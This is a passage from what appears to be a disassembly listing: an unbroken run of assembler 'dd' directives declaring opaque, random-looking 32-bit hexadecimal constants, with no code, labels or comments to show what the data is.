0A97CACCBh, 0BB04808Fh, 51F462E6h, 1A1CAC7Fh dd 5A3FBAE8h, 0FD2233B1h, 7C6179BFh, 1BBA6B46h, 0E4FDD06Fh dd 997F11F9h, 0A64D72B3h, 2DDB9F7Ah, 8DD33DE4h, 285DB4A6h dd 88D303A1h, 0CC86FE43h, 0FF09470Ch, 10732D1Fh, 0ED7B631Bh dd 2E868986h, 15833835h, 0A024C31Ch, 1B91EE64h, 0FA430C9Bh dd 1A36C02Eh, 811345B0h, 0EBBB112Eh, 0F17054E9h, 75D19ACAh dd 2033BEB8h, 6BEE428Ch, 34B2A52Eh, 7A86A4CBh, 8DF2008Fh dd 974BA8F9h, 4499A00Bh, 0CD905A3Bh, 6CE4E628h, 87147BEDh dd 0C43E0380h, 0DA3827F4h, 48F9B8CFh, 83B2F570h, 3DDAF2AAh dd 0A85EB969h, 0BFF2A959h, 5CB873D3h, 676BAF1Ch, 327164A1h dd 1D60CDD1h, 0ED67FA86h, 36A9DAE6h, 9707F860h, 256549B0h dd 0B49DF284h, 0FBD22DF3h, 0CE695BDEh, 391641C4h, 0FC84E12Eh dd 8949898Ch, 0D0B79E77h, 57E137ADh, 44221F3Bh, 0CADA8990h dd 43044CCDh, 0EBA806DFh, 30EB188Bh, 47814FF5h, 0AA4041A5h dd 0F9E96B0Fh, 7FEB9999h, 0EFEF82A8h, 6AD3C83Bh, 27293EEBh dd 33B27237h, 822157C2h, 0FD173D96h, 2C841C06h, 186C4D1h dd 37030FFBh, 0E2897471h, 0F760EDC0h, 0C6F28A7Fh, 5792C939h dd 4C08B6A1h, 0F05AB6A5h, 0B49B426Ch, 0EBA32C0Ch, 0CE72E956h dd 48A3ADA0h, 8EE2CED1h, 0F66F68E2h, 21AA8EB6h, 11303700h dd 9665C354h, 49EA7FEh, 0FD8FA44Bh, 0DF12FF70h, 0C300F517h dd 0C0D9A005h, 0F3FFA52Eh, 9FE4B7D9h, 0E9448662h, 2D8409F8h dd 166FC343h, 3738560Fh, 0EC5AF275h, 0DE256451h, 0F93BAFADh dd 0A8F2BAA5h, 772CFE68h, 0E8FD37E8h, 78D0DF2h, 78E9D820h dd 12BBA2F6h, 3941B1D9h, 0C94A3B69h, 5F58A9C5h, 1B6FE384h dd 766FB0F5h, 31569CBBh, 0F8331D4Fh, 5AFB2134h, 0EB26203Eh dd 0AD4F0E49h, 88DF57E3h, 0E003FF1Fh, 45C1A596h, 161044A3h dd 3B1C8D9Fh, 3462E7h, 0AF0BFEEDh, 279903ECh, 808432D7h dd 0B7EB296Eh, 2F85ECB8h, 12594BB3h, 3F3B566Fh, 9C5AF5B5h dd 3E2564D1h, 815AACAAh, 49588006h, 0DE805F6Bh, 54D8B655h dd 0DE6E4F8Ch, 9D60AC7Dh, 12778B36h, 486CB3E9h, 0FC9AC429h dd 29B948B9h, 8BDBE1C1h, 0EE88AF87h, 0DE4664AEh, 8CF8028Dh dd 0FF34242Eh, 1D70D412h, 3FC2A2E9h, 75DD5260h, 2B0BCC7Eh dd 0FC8AA545h, 0D9108E35h, 5AB3E9D6h, 66EA9D07h, 0D09916ECh dd 0A540DF0Ch, 7EE52AD5h, 6A239195h, 0C101151Fh, 0FB05DC4h dd 9ED13E5Fh, 2B4D8A1Dh, 8DDA4D25h, 0D13BA891h, 0BF30515Bh dd 872CF470h, 17030E80h, 0A9D94C05h, 5DE5B20Ch, 0BA4C6B5Ah dd 0A794A66Eh, 249E4F29h, 0B0AB9B71h, 0B490BB6Ch, 91A7EC0Ch dd 26A96BC6h, 73E74E50h, 180E81ABh, 0BDC990Fh, 0EC4F7659h dd 9B78481Ch, 0D9FE2BBh, 9A9B5D15h, 701D7DC9h, 847DC561h dd 2F531EF4h, 5960A269h, 434DB144h, 819BC7D6h, 0F9EB86EAh dd 4572DB5Bh, 0F54F2C13h dd 0AAFEB140h, 1BBF0CCAh, 0EDDA5F5Dh, 1211DF86h, 0DAE6C6A5h dd 0F6AD480Bh, 0C45B7F0Bh, 618AA401h, 0C4919239h, 0ED23EAD5h dd 1360AC46h, 0BAFC7C5Fh, 0BFE50531h, 0A0861F57h, 43875D1h dd 30077867h, 4EBD5A4Fh, 0B53235Ah, 86731794h, 0F5E7AA89h dd 0EEDDC3B5h, 0C9E2D0C6h, 0F7ED196h, 0C6E74D21h, 60D91575h dd 15D38D08h, 0C0A1B0CCh, 54FF9BEFh, 1137D955h, 9D14AC8Fh dd 0FA450BB8h, 1E508214h, 1738CCF7h, 0CBA78675h, 36CA8D57h dd 0AE3BFB65h, 55F29D5Ah, 98AC4F21h, 920CB48Dh, 0A59D3ADBh dd 9D927380h, 675FAB7Ah, 8277A5A5h, 24683A95h, 0B08F9914h dd 0B74BBD6Ch, 7737E00Ch, 96768C25h, 62D1F6EEh, 8FA8A273h dd 2FCF87Ah, 177B7659h, 704AB7E3h, 796F174Fh, 80A6E07Fh dd 0DA27CF2Ah, 0B10DC00Fh, 64E39C62h, 5781B0EFh, 0AB3CF615h dd 6231DA1Ah, 4D4F7E61h, 0B9ECBC1Bh, 0EAABDB49h, 0E0C6F9A5h dd 7BB212ECh, 2DDA7D1Fh, 917F8590h, 0C0678B55h, 83C4BFE0h dd 0FF136745h, 5A62CE82h, 1462EA88h, 15710ADDh, 0FAEBDA79h dd 986EC579h, 25814AB9h, 20A56D44h, 0EBD76952h, 36C795D6h dd 0BB87CC4Fh, 153B611Eh, 0FD49988Fh, 264007B6h, 1D23C7D3h dd 7EB79E4Fh, 8BC2B068h, 26EE5CD5h, 4E84C61h, 308E6258h dd 42E1B0E2h, 5BB43207h, 6D1B2208h, 9F148289h, 19F02AC5h dd 7E6951E3h, 0C7E1D0CFh, 32EB870Ah, 3D31C85Dh, 2D01FE07h dd 80C57145h, 77F54474h, 17F34F39h, 9EB90C05h, 1E3631ECh dd 125112CBh, 0D4505A09h, 1724CD60h, 451A1F06h, 79D449D4h dd 29FBD505h, 31FE943Eh, 0D667620Fh, 0FA9DCBC6h, 88CC0D98h dd 0E4137641h, 0CBA6481Ah, 2F851237h, 0A76CA58Eh, 9248E11h dd 0AECC663h, 0D0951AC7h, 9D58B09Eh, 0B840A936h, 879B37EEh dd 3D7FB86h, 0B74D20Dh, 75604EABh, 0F39ACBBh, 0E187D035h dd 0D1321E2Bh, 0B42F69D0h, 0EAFCD292h, 0CD25A6FEh, 0FF5D27F1h dd 0A46D3333h, 14432A98h, 22BA673Dh, 22E157B7h, 997855A9h dd 267D5545h, 1579E43Bh, 0CBCFBF99h, 63680CEh, 0EF4469A5h dd 0B17B343Eh, 0F08D0217h, 579C2102h, 0F6E2750Fh, 2AA994B8h dd 9CEB660Eh, 0FB57114Bh, 11252A35h, 10A99EE1h, 977C5F09h dd 4359A7FAh, 0AA035E4Dh, 0C9FC667Dh, 547B058Fh, 4ED3FBC1h dd 829F9EFh, 234D1461h, 29050AB5h, 91EC145Eh, 4011955Ch dd 0F04C87D1h, 92CCBF35h, 0B38A712Dh, 625068AEh, 2F55654Bh dd 0C9084432h, 0B564216Ah, 0A46BD5D0h, 0BFAC1D94h, 8BD51E0Ch dd 0E9C60456h, 23CDF2A0h, 0E4A1D2h, 79173CA6h, 56C16AB0h dd 0F8EF1F11h, 0EC6B4EC4h, 5F4B4DD7h, 3E06B205h, 0D5C900D6h dd 0ACB46095h, 0AA08E971h, 259B0904h, 26A775EEh, 1697AFF8h dd 0B209A108h, 0B2B82CBAh, 3A8FD603h, 90B2B3BBh, 0A9808440h dd 0EED51D16h, 858C916Ch, 0E2A326B6h, 0F77ED5DAh, 53C6EBB9h dd 6249B343h, 2126E621h, 7C0C5DA2h, 0ACEE74EAh, 0F5B990C6h dd 821EA809h, 8CF4E6F0h, 90CA7D88h, 2C3E36B2h, 49F29229h dd 39016B64h, 84CBD755h, 8E4B3338h, 973D037Ah, 0DA40CFB4h dd 595FAD50h, 8729087Fh, 10A461CCh, 0A32ABADCh, 0F9430BE7h dd 0F8B7CF89h, 945E28h, 0C1817C29h, 2D786491h, 123DB1DDh dd 774D5h, 6D84102Ch, 9AD88570h, 0BF5589EAh, 3EB3BFD2h dd 62DC0017h, 0A4F2CCE9h, 596CB14Ch, 22B5CEBEh, 7047112Eh dd 47725516h, 67CBBF73h, 2A1AFAF1h, 18701A0Ch, 558D24FAh dd 0EA912872h, 57FF9279h, 720B626Dh, 55996101h, 0FCE97515h dd 1E9C94CCh, 2B2B652Ah, 0BFE08D54h, 7C367DEAh, 131A7CBCh dd 46D8EDD8h, 24159657h, 24377CFBh, 0E849C95Eh, 0C2957793h dd 0AAB84C85h, 2AB498EAh, 864FEBC8h, 394DE02Eh, 2957658Fh dd 0BFBB0AA2h, 6378A6A4h, 50D421F7h, 0D32C616Bh, 99096DAFh dd 6AEFE585h, 5C18ED46h, 0ACA111ADh, 65E0FF4Ch, 6D3F8284h dd 0CDD8A733h, 650AB965h, 8AB13072h, 0CE841DA8h, 29D8E864h dd 0D8C5514h, 0FACAB276h, 6ED2E8C8h, 0C3D32EAFh, 0CDF8B28Eh dd 6C24895Bh, 75C46075h, 4DB5E590h, 56F6C180h, 85B4D1E3h dd 1AEBFBB4h, 9E09949h, 563E316Ah, 0DEC5861Bh, 1C4B1BF2h dd 0EF2FD959h, 24D59B7Bh, 0BF82652Bh, 0D039C5Eh, 0E92B5B2Eh dd 0B376BBADh, 0FAD0F138h, 3C22745Fh, 274E0BB1h, 4AA4A369h dd 6770FA03h, 96EA0F7Bh, 54643676h, 299C2CC1h, 0B4B7E83Ch dd 0DDA41ED6h, 1C8028Ch, 80D9DBDh, 0B1217774h, 0A4612FDh dd 3E56AC37h, 2216B255h, 0D6A90357h, 0A3BE604Eh, 546E4A60h dd 0ACC6B33Dh, 0A1CCC80Ah, 2297A5FEh, 2F009B04h, 0CA4455E1h dd 4F3B5FC8h, 6FC82F48h, 80441926h, 922563A9h, 3F68FEA9h dd 774B7717h, 0C76CD025h, 0C31B44F9h, 0CBF0D177h, 29678CC7h dd 0E0B8D579h, 0BA98D6ACh, 1D617EBAh, 0AB150121h, 261DEB0Ch dd 0A779D3D1h, 0A70C518Dh, 0CE3A1414h, 7E8BAD09h, 0F021EBBEh dd 8320C80Ch, 0F1BCF8AAh, 0A83AF4A8h, 8E6F4D84h, 235EBFDCh dd 13175B8Dh, 0D40A5BA7h, 288F56F0h, 6CE422CAh, 62995F6Fh dd 67AD1DFh, 8A530D5Ah, 0C4C5C5E3h, 43357633h, 18E604A9h dd 2FB19971h, 0BB8B0C24h, 0DFDC645Ch, 0E9064A34h, 5727E70Ah dd 1C630E56h, 2CA32168h, 0A3D05173h, 0BB9DD819h, 708B2995h dd 0AB1D0D46h, 78EAE137h, 4C7AAA31h, 60CF5DB1h, 0F48AFCD1h dd 0F6CB0D32h, 0ACE43C4h, 0CBAA3CF5h, 0ABBBE8D8h, 0FA35BB0h dd 742BC8AAh, 0FC0003EBh, 0DD1498CEh, 0ABD3F11Eh, 5640390Eh dd 0E9E92417h, 1FEBA9FFh, 146D7554h, 1944B5FFh, 8FBF16F4h dd 0B76B3ED8h, 0F84B0AE6h, 12276509h, 31060F8h, 1D16653h dd 0E937445Bh, 2FD3F90Eh, 6DB3C3D4h, 27173B81h, 0A3D2D5BCh dd 436DA1ABh, 9208792Fh, 46B7F7EEh, 4D5207F7h, 0BC2DDFC1h dd 0ECE0ACA5h, 76153128h, 86B49385h, 52CFD15Ah, 0FC3037F3h dd 0FBBEC0A2h, 234A4B8h, 0F5A0C838h, 0BBC1FC34h, 0D39B666h dd 0E7F538E5h, 0F47F908Bh, 6FE01FFFh, 6C153C19h, 27EE37Dh dd 7EEC2AC5h, 0C8C53813h, 26C33EB4h, 424F85E6h, 2DD99E75h dd 0BF8A5005h, 35048652h, 0E90B7317h, 9CD5018Dh, 6D573E66h dd 2F23E1B1h, 0A85FBFD9h, 0BD96F3ECh, 7C32293Ah, 0DF193E0Eh dd 0CD6B3570h, 832813FFh, 0A2B84DB4h, 5D30AC25h, 0A974B789h dd 0C80FF7F9h, 0FDB34856h, 98291D7h, 75B7571h, 0D0CECE85h dd 1966FAD0h, 110F1140h, 2A7BA395h, 0A91FFA80h, 383407EAh dd 1DD674F3h, 0F3414E03h, 1CB7AAB7h, 3F34D9BAh, 0D6463B7Dh dd 4236F1B1h, 0E8C6C8A6h, 43A8796Ah, 47C5896Ah, 15EC02CDh dd 0D9F58C89h, 6F73653Eh, 0A6E2EE5Eh, 0D226407Ch, 993BF3D6h dd 99BB926h, 61E83907h, 0AFF5FC32h, 18BE1833h, 0D7526009h dd 54A050D8h, 0FC462C1Bh, 0F7B5A45Dh, 78D960FBh, 0FBBCEB1Eh dd 0DBDFA833h, 1ED9C19Ah, 4B68050Bh, 0B2DB940Ch, 948A77A8h dd 578F7DF2h, 6EE4FA9Ah, 669AEF77h, 3E7A3E27h, 9A504D7Ah dd 0A4CB45A1h, 834E76B3h, 9EE805A8h, 91AF9F76h, 0BFAA7E7Ch dd 94D88CAFh, 196480C7h, 0A7F4013Bh, 1DBC710Ch, 0D4585CABh dd 0C40B0566h, 8F93E20Eh, 6D6BBC46h, 0B54F144h, 0D77FF5F0h dd 7361918Eh, 8C1F424Bh, 0F40EB922h, 7D86088Eh, 0F7346454h dd 0F6925FFDh, 0F319EB2Ch, 0E0DF546Ah, 62ABCB1Ah, 0C3763860h dd 56DF6A30h, 87246210h, 532A7D66h, 433F879h, 17620A1Ah dd 706220Bh, 8814E336h dd 2F5E9A70h, 7BA0BA3Dh, 15CD61B0h, 13D367A9h, 295F4029h dd 8758833Eh, 93E186ACh, 0A3AC6777h, 0E024E9ABh, 0A993BBFEh dd 0EC59197Dh, 6D132CA6h, 5D697B45h, 3230901h, 0EA9BA70Dh dd 0DE4E1037h, 933F203Dh, 4D738ED8h, 12549DB0h, 654BB5ABh dd 883D60ADh, 83BAFB52h, 3CEF418h, 0AD98B10Eh, 6A98118Fh dd 0F2BB958Dh, 1B4A7EA8h, 0F5747DF3h, 9F61491Dh, 0BDE819EAh dd 3E756017h, 81D2C525h, 928B7517h, 9C350658h, 272A6377h dd 68AE6389h, 42516ABEh, 0FEBC8FA9h, 9FEB6774h, 9CC668D8h dd 9146B376h, 2B466464h, 0D6E2D90Eh, 9190D986h, 16D09395h dd 345D077Bh, 0E98710E6h, 2DCD0C30h, 0B7065644h, 73D5E4AEh dd 10D8378Fh, 0FCB195Bh, 0CEDA3228h, 0C941EB34h, 0E8DB521Ah dd 939C1E3Ah, 0A286FF43h, 925A1F27h, 9C5C4984h, 974384ECh dd 0ECD3FF1Dh, 11E801E5h, 373012BCh, 7D47D529h, 4DDA625h dd 9035C229h, 0FD4E07A3h, 0ACDADA82h, 904F82A3h, 71D53AA5h dd 46E36331h, 0A79B1966h, 0F564A0F4h, 0C2FC04CFh, 0AC232EF6h dd 627E66AAh, 159EFFF2h, 0B8C067Bh, 1FB00B47h, 8F5A62CFh dd 476C2BBBh, 18AA6EDDh, 87328A9Fh, 1A8FDC56h, 34326E4Ah dd 0F5F81BCFh, 14DD5F61h, 0D6EAB184h, 259EFB0Eh, 0A29B4463h dd 9B49EEC4h, 0DF44F9DCh, 9E6145FFh, 0BFE8012Eh, 3275509Fh dd 0FED33A35h, 828B0BF7h, 0FC367A18h, 0E42B14F7h, 0E8B07288h dd 4F8D24B1h, 872D5E2Fh, 0C73E78CCh, 448CB495h, 0C895B0ABh dd 7DEED2DFh, 0ADEF8BF1h, 0ACDB7C16h, 0E0A6F6CAh, 2045FA84h dd 73040B3h, 4E958D69h, 5695926Fh, 8F758126h, 0F4769689h dd 0FD81442Dh, 56706C95h, 33046A17h, 6F28A46Fh, 8D5E30D7h dd 7D6900F7h, 2AEE1864h, 0F42E5FDFh, 0EEE59265h, 0ACE70D50h dd 1052779Bh, 458A2461h, 0FAB9C461h, 82CD734Fh, 0CC327D52h dd 835A418h, 53030A0Bh, 4CE3F5Bh, 88EC8CB8h, 16050540h dd 0A3938D91h, 0F280836Eh, 734B3B42h, 2537D6BCh, 84B5D056h dd 1FD5C98Ch, 4D9372DDh, 7A2B8329h, 0CD101ECEh, 977C5E31h dd 95D66A17h, 6A0816ACh, 0ED70DF53h, 493149A4h, 0F44D10CCh dd 1BAB29C7h, 9EA8B12Dh, 85AD710Fh, 0D842B1Ah, 6D3D64A3h dd 1085827Fh, 1E1BC3C0h, 119272B1h, 9D7A1B63h, 48792F2Dh dd 33B6F87Fh, 5D09023Ah, 0D83CC104h, 0BFB7E58Dh, 28B21043h dd 872DD669h, 0EAAD3D6Fh, 5F8F5B6Dh, 0F996905Ch, 3AB636ECh dd 0ADF0DE31h, 62597096h, 82D6D14h, 36496387h, 47EF76ABh dd 0AC1E438Bh, 95C57037h, 6349A852h, 5C29A08Bh, 3DA9E057h dd 0E13CA6D3h, 5FE14A93h, 0F2CBF978h, 0A910AB5Fh, 0CA8F57DDh dd 70C84E0Bh, 392A0DFh, 44C08A31h, 936C53BDh, 9F9EEF4Bh dd 47C0696Ch, 0C6FC4A22h, 17356DC1h, 0D3C68756h, 0BDA0F008h dd 0B75BEB92h, 0A85DEE6Fh, 72DD547h, 0EB91396Dh, 9CE35369h dd 0D4E42EDEh, 6F3BD73Eh, 17CAC009h, 6C5AF9F5h, 0E0ECAB2Dh dd 3DC12A94h, 4CF360Dh, 357CA830h, 0D0A27DC1h, 0E6DE72D6h dd 92393877h, 4865A05Ch, 882D3759h, 0D8BBC476h, 44BCFA7Ch dd 18021729h, 77295417h, 6CA46AF0h, 9C342945h, 0A040FF5Fh dd 9DD99498h, 0D4098BB2h, 887FA127h, 2E49CB6Fh, 682773F1h dd 6033C2FEh, 8DCA01AEh, 0CA765C77h, 40BDE51Ch, 3E573B57h dd 2AA6DF6Bh, 0DF765B95h, 9199078Eh, 19C3A7BEh, 2BA1514h dd 93862301h, 0A086353Ah, 50AAD618h, 7B92DC05h, 0F5F1FA10h dd 95A97517h, 0E6FE6036h, 0C3B1877h, 0A0F19F8Ch, 94858A73h dd 1ACC14CCh, 0B0577FA5h, 0A5834B61h, 0D79914F1h, 691E6A3Ah dd 4E41A0D3h, 0AABFC1BAh, 0E7683638h, 47318A8Fh, 0B375ECB1h dd 0F3AC772h, 7F35F7FDh, 0CFFC79A9h, 15DAF112h, 13CC5295h dd 78B304E7h, 0BB8E2EBFh, 0FD152466h, 5453ACE3h, 0F9793F4Bh dd 3AB79731h, 524ECE51h, 0CD6AF1A9h, 0F03E9F4Dh, 0C958DB27h dd 2F83CFE2h, 0B0004FCFh, 90FE6A58h, 716012Ah, 0E3F0E727h dd 0CB712FA0h, 724BC8F4h, 33619024h, 0BFD2276Bh, 0CE47F9D9h dd 0BDB1F4FDh, 8537A8B9h, 92B1B023h, 2508DB34h, 9147E2BAh dd 2E07FFB0h, 0B9B01B84h, 4EA9C796h, 4735D78Ch, 0E3C10451h dd 0D293A8C2h, 5C3BED0Fh, 101DFB3Eh, 78FDF4A9h, 935C7F67h dd 0FD6323BDh, 8169D7CBh, 78C3AC0Bh, 52B6F9F8h, 9C766179h dd 0B0E9AA48h, 995D9509h, 0C6792998h, 9F85A330h, 0FF7107B4h dd 0C7DD8926h, 0E7CFD877h, 24B11FA8h, 9D4323B1h, 0B86691DCh dd 3814CEB5h, 0BD3BE93h, 0BDB96EF5h, 750B45FDh, 3865D5DCh dd 953DE22Dh, 0E9110DAAh, 3B8BEABEh, 0B6EFF488h, 2249EB72h dd 0F320F8D1h, 0F9D98675h, 0CDF29923h, 79CCF879h, 0D04D1715h dd 87FD832Ah, 0A298D08Ah, 363F9486h, 0F96945CBh, 3AB75871h dd 52485F91h, 60F7AB29h, 40149115h, 0A1BED178h, 0F9172B3Ah dd 929BDCFh, 951345B4h, 0D25F114Ch, 0E97A848h, 0DBF151C3h dd 0CD33F327h, 32070133h, 7F7AB494h, 9AFF4ED6h, 0DD5DACE4h dd 4523FD2Ah, 6B19B022h, 0C7F858Bh, 9C8EF2D3h, 0C758092Ah dd 0B7B80C9Ah, 0DA3AC71Eh, 52CA57C5h, 93C97A39h, 1DC9196Ah dd 84261739h, 0BF5DEAC5h, 87DDE276h, 0AC21D28Ch, 0D93F908Ah dd 1C39A313h, 0A7E7C02Bh, 0AD16695Ch, 6CC357DCh, 5A7106D5h dd 0D2C2D7Bh, 7CD2A4FEh, 9F49D0CFh, 215CB5B8h, 9E7EFED9h dd 3EA203B1h, 50D49921h, 15D961E1h, 0B12D108Ah, 8976F29Ch dd 79A9C8BEh, 0C87CECE1h, 4068953Ah, 122EF02Eh, 0A40869Fh dd 1C0E5352h, 0C0E7C72Bh, 17901B9Ch, 0E5A9C7EEh, 4FC53BE4h dd 0BBA6EF9h, 0FE930E9Dh, 0ECC3D5DCh, 0F4A5EAA8h, 0D82DDD42h dd 0FA8C67C0h, 888EA02Ch, 79892068h, 0D548B254h, 0ADF262D1h dd 6AD6C356h, 0F5FF7944h, 0D9AC2FF4h, 0F9812F98h, 0A5EF6D8h dd 36301C4Bh, 757C132h, 1A377D88h, 3222CFA8h, 63FF8235h dd 552FC95h, 61F65B6Bh, 0DE08B114h, 0DD900211h, 0B42B8252h dd 0D4C14832h, 325985C0h, 601B448Bh, 0C17DFF2Eh, 0BDC8B3E6h dd 1B802F06h, 0F3B607D9h, 0B636D6F5h, 4DCA0DE2h, 0AC59E9D3h dd 40788350h, 8A0C345Dh, 0D2863E80h, 5A9AC401h, 911CD7E2h dd 0ADF3624h, 0BA557180h, 6C32E662h, 430F2D46h, 0D9AD2CC8h dd 0F9833198h, 0F5AA5958h, 9A64A5A4h, 0D3C42126h, 0F4D8187Bh dd 0CA32E308h, 0AE7F48CEh, 0D1A2E480h, 71CCB16Bh, 4C705ED6h dd 0E599F4E5h, 5BD8E13Ah, 47E1B417h, 3AD5852Fh, 9C74F244h dd 0C2E7EB60h, 0AFEDE490h, 0FAA9C7DAh, 0C0CAB37Bh, 5E886E90h dd 3609F2A3h, 0EF3BCD3Ah, 0F43AEA43h, 87A8FFB1h, 9D153052h dd 0FF625F4Dh, 8177C8EBh, 0DEA2D90Eh, 38555105h, 4324129h dd 0F0033426h, 0C9AE5F6Ch, 0F52BB0F2h, 0F4969C93h, 7E9B5EA4h dd 0E8889488h, 2347E846h, 253E5FA4h, 9BFCEB81h, 2286EBDCh dd 700AA469h, 7512AAF3h, 15A4FBE1h, 2BCB95C7h, 0A78C4C07h dd 0AAA5852Eh, 61F4F24Ah, 0C3EA0B63h, 79A01B92h, 0F1A9C7F3h dd 27C8FC0Ch, 43EC79C9h, 62DAF27Dh, 2CCDED1Bh, 4868172Bh dd 783DDAB1h, 16FB3EA1h, 4C438015h, 6E66F70Dh, 2A49C20Bh dd 4A60CE89h, 93226A17h, 0E0FCF4E0h, 0E9862194h, 6FD350Ch dd 0F553B015h, 0BEA342A4h, 0E87741D8h, 0E1992452h, 0EA9660B8h dd 6591B75Ah, 0C35E20E9h, 0BDC15B84h, 0C5FB4E28h, 2945C83Dh dd 86759F6h, 0D49D6CEEh, 3F04F168h, 3A0005BBh, 9AD17657h dd 83963A6Ch, 0C9309E02h dd 2141DBB4h, 82405CA0h, 749D32D2h, 0B3991D29h, 18C43833h dd 0AEE8216h, 430513FAh, 0B0E59688h, 0C620ACE3h, 0D5438BBDh dd 0D14D4C32h, 6FCA566Ah, 60026B45h, 6948CFF1h, 3EE337E7h dd 0F5A98630h, 95CC4CB4h, 141C7126h, 6C52FFEh, 0A68C2057h dd 13FE7429h, 982CE889h, 0F06B582Fh, 0DE1B9D2h, 0E1F104F1h dd 0F4BB18BFh, 6DB72B22h, 7AFCFC4Ah, 89E4022Eh, 0FE60F961h dd 85757427h, 71BFFE16h, 0E7B9A12Bh, 65F09639h, 5E1A65CCh dd 0E9BAEF5Eh, 0E15E0CCAh, 972D28DDh, 810A30B1h, 5D86F4CDh dd 18742880h, 6F3C064Bh, 0F37419A9h, 7C3D1AC9h, 0F572EDFCh dd 0C9514425h, 0F6E700E2h, 15265CA7h, 92762EB5h, 0FC7724AFh dd 11006964h, 0DF0A0FA8h, 1A5220ABh, 52D152Ch, 75A52D92h dd 88130B5Dh, 10F2F0B4h, 0DA02523Ah, 205058B5h, 0B232F340h dd 1D1E7B4Ch, 8B9C0CE0h, 878513A4h, 0D39C7FAh, 1F341D04h dd 0EF8C0209h, 0EACBFCA8h, 9CABC7F4h, 0D0750FB5h, 0C2A6883Dh dd 8610E376h, 6576CBE9h, 1A60671Bh, 3F3B1A5Bh, 424322F5h dd 0FB363A10h, 0E1EDE995h, 22669C0Dh, 582B0E5h, 5F59DBBh dd 860785B4h, 97670629h, 2307A997h, 2DB6D6AAh, 7AF3722Fh dd 0CAEA9FF1h, 9742B11Eh, 0D5E65ED1h, 0DBEA1D85h, 888E1EC4h dd 19E1A0CFh, 8B177551h, 1BE5120Eh, 8A9EFBAAh, 2920FAAh dd 6B323BBBh, 1735F02Dh, 94C69920h, 1C2A6FD3h, 0A53512BCh dd 5C7EE70h, 7F683FBBh, 9DF92F07h, 19EF3355h, 6D3323FFh dd 6F3BA19Bh, 0D74775E1h, 7C399DB5h, 0E00CEAC5h, 0F06F9F0Fh dd 0F93591F7h, 1E28F120h, 3A2362B2h, 0B5B781D6h, 0F3E478DBh dd 8139A32Bh, 9093B754h, 0CF2F11B9h, 920AD892h, 259EC5E6h dd 0F914479h, 51E07D7Dh, 0EC942BD7h, 93BC38C8h, 5DEF1ED8h dd 30557683h, 7DA1D7h, 8AE542F6h, 4A0E1091h, 0B8C4FC95h dd 28411426h, 69275A17h, 0D04CEEE8h, 7FA48EDDh, 9F078C4Fh dd 0D5A4EACBh, 0AC4D0461h, 3AB07666h, 6F78A04Eh, 7C385D39h dd 6CAD7732h, 0F084DB74h, 294C3035h, 7C7860B3h, 85C575F1h dd 14272587h, 0EC035167h, 3CFF0F3Fh, 92C4B4A5h, 0A35D5145h dd 4B0554D0h, 2D7773EAh, 9B2614F2h, 348B0999h, 6FF6992Fh dd 3883AAD6h, 9F24718Dh, 22E7BAE5h, 7D21454Dh, 0B180D7F6h dd 74E59796h, 0E34A8898h, 0AD8F64BBh, 25C39608h, 575E549h dd 6AA9BB91h, 95056E50h, 20663390h, 6D3583D0h, 115CEC47h dd 6537A084h, 0ABCC54E2h, 105318C1h, 0C995A484h, 0BC5261F2h dd 597005C4h, 0E3460D44h, 0EBC64A69h, 0E2D2E472h, 2C94BEB8h dd 0B30FA7A4h, 296A4849h, 78BDA485h, 0AD14B652h, 3DE8EF14h dd 62C26D7Bh, 0AA442BD7h, 152C3FCAh, 46EF0ECEh, 0D2527481h dd 0E47DA6D8h, 0AE8233B0h, 7FC55C1Fh, 58C4FC6Bh, 0E84119FBh dd 0E9275A68h, 0D04CED53h, 0CD5F1EDh, 0E659EB56h, 19EFD7E9h dd 0E4B68D43h, 0C6ED20FBh, 0D9AA1170h, 70B1E96Ch, 0E0FFC0C0h dd 31D03E94h, 97566CBh, 0E60B2830h, 35AE303Fh, 4C0218Ah dd 0A7A9219Ch, 2478D440h, 461722Dh, 6A12FC89h, 959F2F69h dd 5AF71458h, 0EC48E8A7h, 0CB1E1EC4h, 0CB89E3B6h, 9E60BBB9h dd 0D0CD2805h, 0B21385E4h, 89C06F6Ah, 0AE497756h, 0E229898Ah dd 0D3C97927h, 1491B3E1h, 0A1F08E6Ch, 404C1DB0h, 87923967h dd 43056E54h, 0A30C226Ch, 919260DBh, 5E88C1BEh, 0AD265C99h dd 6C3810DCh, 0C586F8C5h, 0C995B684h, 0AAD18971h, 90FC6366h dd 9E0BF65Ch, 52B41AA3h, 0D9DE4BFAh, 0DCC91BADh, 0B485C1B4h dd 296894C9h, 2EDDD685h, 0D11FC439h, 9C225DF2h, 0B7C39552h dd 1B51A02Ah, 9DBC3F86h, 4164F28Ch, 0DBEBDD85h, 3E06BDAEh dd 0A8513809h, 8435009Ah, 1BC9E372h, 0FDCAF851h, 0B26C10D9h dd 30019655h, 87203D04h, 9F056E56h, 0D1A59A0Dh, 91760804h dd 2A0F24BEh, 7424CB9h, 3A6BF520h, 0E8521412h, 4085C20Fh dd 0FDAE5E2Dh, 82FE3343h, 0D3DD33B0h, 134BA12Ah, 0E6AE0027h dd 18BADFA8h, 8E89BCA8h, 9E9D3Ch, 0A55FA0E2h, 8C5C108Eh dd 0B6CE8931h, 271C29B5h, 16B1A03Fh, 71839FC8h, 7067A184h dd 2A62FF61h, 0FC79A1DCh, 0E37E3FB0h, 57350066h, 68D9627Bh dd 9843E5FBh, 0A0765878h, 4C099446h, 0CD1F1E8h, 9D557A1Dh dd 0D136D7B8h, 0F926F086h, 3AB0CBFEh, 525723B1h, 7CFC9369h dd 0B5845C4Ch, 0C997767Ch, 7082B17Bh, 78B671DCh, 96566D0Bh dd 147F6C26h, 0B723C877h, 30BAFA21h, 0D8D8E4A0h, 0A28E4947h dd 7DBAB4E0h, 81FF0B5Ch, 0BAFC8FA4h, 32F4C668h, 53915CC7h dd 94B4BAC4h, 789887B5h, 0CDC87669h, 0FE7AD553h, 0F9E7980Dh dd 9C68EC13h, 93EE35F6h, 68CAEDBEh, 3A603608h, 0D7C9F55Eh dd 44A4B462h, 0E9FA9167h, 0DF63B206h, 899DF703h, 7DBCD413h dd 24A08F2h, 0F28787Ah, 4E78E45h, 4A95B190h, 3F507B36h dd 0A82E766Fh, 9629D877h, 14E6ADABh, 0B723A877h, 576ABA21h dd 4DC27F9h, 0A2D71889h, 9582ACD0h, 0D17F4DAAh, 0B7ADC071h dd 0E446CEE0h, 16F1DFB2h, 0CBD39FC8h, 5AF48701h, 771BBAE6h dd 298DA1DAh, 9EDA579Dh, 53A0E88Ah, 474A897Bh, 980964AEh dd 0A734AF5Ah, 448A154Ch, 5FA4B47Bh, 0D5583502h, 0CCF65765h dd 1E69843h, 0BA2038FEh, 